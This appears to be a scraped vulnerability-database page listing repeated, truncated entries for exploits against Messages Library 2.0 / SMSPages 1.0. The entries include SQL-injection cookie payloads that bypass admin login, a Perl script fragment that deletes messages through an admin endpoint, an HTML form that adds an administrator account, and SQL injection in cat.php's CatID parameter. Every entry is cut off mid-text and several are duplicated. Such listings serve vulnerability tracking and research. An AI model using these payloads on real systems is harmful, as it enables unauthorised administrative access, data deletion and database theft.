CVE-2009-2394

CVE-2009-2394 describes an SQL injection in cat.php of SMSPages 1.0 (Mr.Saphp Arabic Script Mobile 2.0). The vulnerability arises from unsafely handling the CatID parameter, allowing remote attackers to execute arbitrary SQL commands. Affected software is explicitly named as SMSPages 1.0 in Mr.Sa...

Messages Library 2.0 Insecure Cookie Handling Vulnerability

No description provided by source. Messages Library 2.0 = Arbitrary Database Download Vulnerability Founded & Exploited by : Stack Bypass with javascript:document.cookie = "SaphpLessonName=admin' or 1=1--; path=/"; javascript:document.cookie = "SaphpLessonPassword=' or 1=1--; path=/"; After Exec...

Messages Library 2.0 Insecure Cookie

Messages Library 2.0 = Arbitrary Database Download Vulnerability Founded & Exploited by : Stack Bypass with javascript:document.cookie = "SaphpLessonName=admin' or 1=1--; path=/"; javascript:document.cookie = "SaphpLessonPassword=' or 1=1--; path=/"; After Exec http://localhost/sms/admin/backup.p...

Messages Library 2.0 Arbitrary Delete Message Vulnerability

No description provided by source. !/usr/bin/perl -w Messages Library 2.0 = Arbitrary Delete Message Founded & Exploited by : Stack print "\t\t\n\n"; print "\t\t Messages Library 2.0 = Arbitrary Delete Message \n\n"; print "\t\t by Stack \n\n"; print "\t\t\n\n"; use LWP::UserAgent; die "Example:...

Messages Library 2.0 Message Deletion

!/usr/bin/perl -w Messages Library 2.0 ; $b = LWP::UserAgent-new or die "Could not initialize browser\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; $host = $ARGV0 . "/admin/sms.php?Action=Delete&ID=".$id.""; $res = $b-requestHTTP::Request-newPOST=$host; print "\nBrought to you b...

Messages Library 2.0 Insecure Cookie Handling Vulnerability

Exploit for unknown platform in category web applications =========================================================== Messages Library 2.0 Insecure Cookie Handling Vulnerability =========================================================== Messages Library 2.0 = Arbitrary Database Download...

Messages Library 2.0 - Insecure Cookie Handling

Messages Library 2.0 - Insecure Cookie Handling Messages Library 2.0 = Arbitrary Database Download Vulnerability Founded & Exploited by : Stack Bypass with javascript:document.cookie = "SaphpLessonName=admin' or 1=1--; path=/"; javascript:document.cookie = "SaphpLessonPassword=' or 1=1--; path=/"...

Messages Library 2.0 Arbitrary Delete Message Vulnerability

Exploit for unknown platform in category web applications =========================================================== Messages Library 2.0 Arbitrary Delete Message Vulnerability =========================================================== !/usr/bin/perl -w Messages Library 2.0 ; $b =...

Messages Library 2.0 - Arbitrary Delete Message

Messages Library 2.0 - Arbitrary Delete Message !/usr/bin/perl -w Messages Library 2.0 ; $b = LWP::UserAgent-new or die "Could not initialize browser\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; $host = $ARGV0 . "/admin/sms.php?Action=Delete&ID=".$id.""; $res =...

Messages Library 2.0 - Insecure Cookie Handling

Messages Library 2.0 = Arbitrary Database Download Vulnerability Founded & Exploited by : Stack Bypass with javascript:document.cookie = "SaphpLessonName=admin' or 1=1--; path=/"; javascript:document.cookie = "SaphpLessonPassword=' or 1=1--; path=/"; After Exec http://localhost/sms/admin/backup.p...

Messages Library 2.0 - Arbitrary Administrator Account

Messages Library 2.0 - Arbitrary Administrator Account ThE g0bL!N Messages Library 2.0 Remote Add Admintsrator Account Username Password milw0rm.com 2009-06-30...

Messages Library 2.0 Arbitrary Administrator Account Vulnerability

No description provided by source. head titleThE g0bL!N Messages Library 2.0 Remote Add Admintsrator Account /title base target="left" link rel="stylesheet" href="style.css" /head form method="POST" action="http://path/sms/admin/mod.php?Action=Add" table border="0" cellpadding="0" cellspacing="0"...

Messages Library 2.0 - Arbitrary Administrator Account

ThE g0bL!N Messages Library 2.0 Remote Add Admintsrator Account Username Password milw0rm.com 2009-06-30...

Messages Library 2.0 Arbitrary Administrator Account Vulnerability

Exploit for unknown platform in category web applications ================================================================== Messages Library 2.0 Arbitrary Administrator Account Vulnerability ================================================================== ThE g0bL!N Messages Library 2.0 Remote...

Messages Library 2.0 Add Administrator

ThE g0bL!N Messages Library 2.0 Remote Add Admintsrator Account Username Password...

Messages Library 2.0 (cat.php CatID) SQL Injection Vulnerability

No description provided by source. +===================================================================================+ ./SEC-R1Z / / / / /\ \ |/ / \ \ / / / / | | / | | / / \ / / / / | || / | | / / \ \ \ \2009 | \ | | / / / \ /\ / ||\ \ ||/ ...

Messages Library 2.0 - 'cat.php?CatID' SQL Injection

+===================================================================================+ ./SEC-R1Z / / / / /\ \ |/ / \ \ / / / / | | / | | / / \ / / / / | || / | | / / \ \ \ \2009 | \ | | / / / \ /\ / ||\ \ ||/ \ +===================================================================================+ |...

Messages Library 2.0 - cat.php?CatID SQL Injection

Messages Library 2.0 - cat.php?CatID SQL Injection +===================================================================================+ ./SEC-R1Z / / / / /\ \ |/ / \ \ / / / / | | / | | / / \ / / / / | || / | | / / \ \ \ \2009 | \ | | / / / \ /\ / ||\ \ ||/ ...

Messages Library 2.0 SQL Injection

+===================================================================================+ ./SEC-R1Z / / / / /\ \ |/ / \ \ / / / / | | / | | / / \ / / / / | || / | | / / \ \ \ \2009 | \ | | / / / \ /\ / ||\ \ ||/ \ +===================================================================================+ |...

Messages Library 2.0 (cat.php CatID) SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================ Messages Library 2.0 cat.php CatID SQL Injection Vulnerability ================================================================...